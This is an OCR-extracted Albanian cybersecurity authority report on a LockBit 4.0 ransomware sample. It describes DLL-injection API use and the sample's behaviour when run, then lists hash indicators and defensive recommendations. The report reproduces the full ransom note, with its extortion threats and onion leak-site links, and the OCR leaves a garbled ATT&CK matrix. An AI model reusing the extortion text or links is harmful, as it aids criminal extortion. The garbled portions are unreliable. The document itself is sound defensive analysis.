Né pérmbledhje, ky kod krijon njé delegat pér funksionin VirtualProtect bazuar né adresén e tij
dhe e ruan até né njé objekt ose koleksion té funksioneve té Windows, duke lejuar gé
VirtualProtect té thirret drejtpérdrejt nga kodet e tjera gé mund té pérdorin kété objekt. Kjo
ményreé éshté tipike né skenaré ku éshté e nevojshme aksesi direkt né funksionet e sistemit operativ
pér manipulime t& memories ose pér té kryer detyra low level.

Bazuar né pjesét e kodit, ekzistojné disa elemente gé jané tipike pér njé proces injektimi DLL né
njé aplikacion Windows. Ky kod mund té pérdoret pér injektim DLL.:

1. Pérdorimi i GetProcAddress dhe GetModuleHandle: Kéto funksione jané zakonisht té
pérdorura pér té gjetur adresat e funksioneve né DLL-té e ngarkuara, qé éshté njé hap i
zakonshém né injektimin e DLL-sé.

2. VirtualAlloc dhe VirtualProtect: Kéto funksione pérdoren pér té alokuar hapésiré né
memorien virtuale dhe pér té ndryshuar atributet e mbrojtjes s€ memories. Ky éshté njé hap
i zakonshém né injektimin e DLL-sé pér té krijuar njé vend té pérshtatshém pér kodin e
ngarkuar ose pér té siguruar gé memoria éshté ekzekutueshme.

3. Krijimi i delegatéve pér funksionet e sistemit: Ky éshté njé hap tjetér gé mund té pérdoret
pér té thirrur funksione té sistemit nga kodet e ngarkuara, njé tekniké e zakonshme né
skemat e injektimit t&é DLL-sé pér té siguruar qé DLL-ja e ngarkuar mund té ndérveprojé
me sistemin operativ.

4. Referenca né UnsafeNativeMethods: Pérdorimi i kétyre metodave sugjeron se kodin po
ndérvepron me funksione té nivelit t& ulét té sistemit operativ, gé éshté gjithashtu njé shenjé
e njé procesi t€ mundshém injektimi.

Analiza Dinamike:

Nése klikojmé né skedarin e powershellit do té evidentojmé njé proces me emrin 5182.tmp qé
konsumon né pérgindje té larté CPU.



1% Task Manager = O X

File Options View

Processes Performance App history Startup Users Details Services

Y 18% 17% 5% 0%

N Status CPU Memory Disk Network
| ] 5182.tmp (32 bit) 17.6% 328 MB 0 MB/s 0 Mbps
|| System interrupts 0.3% 0MB 0 MB/s 0 Mbps
Client Server Runtime Process 0.2% 12.7 MB 0 MB/s 0 Mbps
System 0.1% 0.1 MB 0.1 MB/s 0.1 Mbps
+2 Microsoft Windows Search Inde... 0% 16.0 MB 0.2 MB/s 0 Mbps
Desktop Window Manager 0% 704 MB 0 MB/s 0 Mbps
1% Task Manager 0% 17.2 MB 0 MB/s 0 Mbps
= ... o e e o oo mme —urirm e

Pas pérfundimit té ekzekutimit té procesit ajo qé evidentojmé éshté ndryshimi i wallpaperit té
windowsit dhe njé skedar né desktop KFOWNCN24.README.txt gé éshté shénim i ransomware
Lockibt 4.0.

| kFOWNCN24.README txt - Notepad = O
File Edit Format View Help
~~~ You have been attacked by LockBit 4.0 - the fastest, most stable and immortal ransomware since 2019 ~~nn

>>>>> You must pay us.

Tor Browser Links BLOG where the stolen infortmation will be published:
( often times to protect our web sites from ddos attacks we include ACCESS KEY - ADTISZRLVUMXDJ34RCBZFNO6BNKLEYKYSS5FZPNNXK4S2RSHOENUA )
http://lockbit3753ekiocyosepmpy6klmejchjtzddoekjlntémudghade2id.onion/
http://lockbit3g3ohd3katajf6zaehxz4ahdcnhmz5t735zpltywhwpc6oy3id.onion/
http://lockbit3olp7oetlcatlszydnoluphh7fvdt5oa6arcp2757r7xkutid.onion/
http://lockbita35xk3ki62yun7z5nhwz6jyjdp2c64j5vges36if2eny3gtid.onion/
http://lockbit4alahhluquhoka3t4spqym2m3dhe66d61r337glmnlgg2nndad.onion/
http://lockbitéknrauo3qafoksvl742vieqbujxw7rdéofzdtapjbarrawgad.onion/
http://lockbit7ouvrsdgtojeojshvuebljqtghitekwpdy3béy62ixtsusjqd.onion/

>>>>> What is the guarantee that we won't scam you?
We are the oldest extortion gang on the planet and nothing is more important to us than our reputation. We are not a politically motivat

>>>>> Warning! Do not delete or modify encrypted files, it will lead to irreversible problems with decryption of files!

>>>>> Don't go to the police or the FBI for help and don't tell anyone that we attacked you. They will forbid you from paying the ransom
>>>>> When buying bitcoin, do not tell anyone the true purpose of the purchase. Some brokers, especially in the US, do not allow you to
>>>>> After buying cryptocurrency from a broker, store the cryptocurrency on a cold wallet, such as https://electrum.org/ or any other c
>>>>> Don't be afraid of any legal consequences, you were very scared, that's why you followed all our instructions, it's not your fault

>>>>> You need to contact us via TOR darknet sites with your personal ID

Figura 14 Ransomware note



LockBit Black

All your important files are stolen and encrypted!
You must find kFO0wnCN24.README.txt file
and follow the instruction!

Figura 15 Lockbit black

MITREATT&CK

Mitre Att&ck Matrix -

Resource Privilege Command and

Reconnaissance Initial Access Execution Persistence Defense Evasion Credential Access  Discovery Lateral Movement  Collection Exfiltration Impact
Development Escalation Control
Gather Victim Acquire Valid Accounts Windows [1] 0S Credential Remote Services  Data from Local (1] Exfiltration Over
Identity Information  Infrastructure Management D Dumping System Other Network Data Encrypted
Instrumentation Medium
Credentials Domains Default Accounts Scheduled Task/Job  Boot or Logon LSASS Memory Remote Desktop Data from Junk Data Exfiltration Over Network Denial of
Initialization Scripts Protocol Removable Media Bluetooth Service
Email Addresses DNS Server Domain Accounts At Logon Script Logon Script Security Account SMB/Windows Data from Network  Steganography Automated Data Encrypted for
(Windows) (Windows) Manager on/Sandb  Admin Shares Shared Drive Exfiltration mpact
Employee Names Virtual Private Local Accounts Cron Login Hook Login Hook NTDS Distributed Input Capture Protocol Traffic Duplication Data Destruction
Server Component Object mpersonation
Model
Gather Victim Server Cloud Accounts Launchd Network Logon vork Logon LSA Secrets SSH Keylogging Fallback Channels  Scheduled Transfer ~ Data Encrypted for
Script Script rectory Impact
Domain Properties  Botnet Replication Through ~ Scheduled Task RC Scripts RC Scripts Steganography Cached Domain VNC GUI Input Capture Multiband Data Transfer Size  Service Stop
Removable Media Credentials ormation Communication Limits




Indikatorét e Komprometimit

2f505121741416e465f4c9ad0f59¢c3920efe8ff11ba8e778919bac8bd53d915¢ LBB_PS1

1BE78F50BB267900128F819C55B8512735C22418DC8A9A7DDAFALB30F45A5C93 | .extracted.psl

998AECB51A68208CAA358645A3D842576EEC6C443C2A7693125D6887563EA2B4 | decompress.dll

Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

e Bllokimin e menjéhershém té Indikatoréve té Komprometimit, t¢ pérmendura mé sipér né
pajisjet tuaja mbrojtése.

e Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

e Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies sé infektimit
prej tyre.

e Instalimin e pajisjeve té perimetrit té rrjetit qé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

e Sistemet e evidentuara té segmentohen né VLAN-e t€ ndryshme, duke aplikuar “Access
control list pér té gjithé perimetrin e rrjetit”, webserviset duhet té jené té ndaré nga Databaza e
tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

e Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t&€ Administratoréve Lokal.

e Té& aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé té
treta/klienté).

e Té&implementohen zgjidhje gé kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

e T& kryhen analiza té trafikut né€ nivel sjellje “behaviour” pér pajisjet fundore, aplikimi i
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve kegdashés jo vetém né nivel signature
por dhe né nivel behaviour.

e T& projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér t€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.




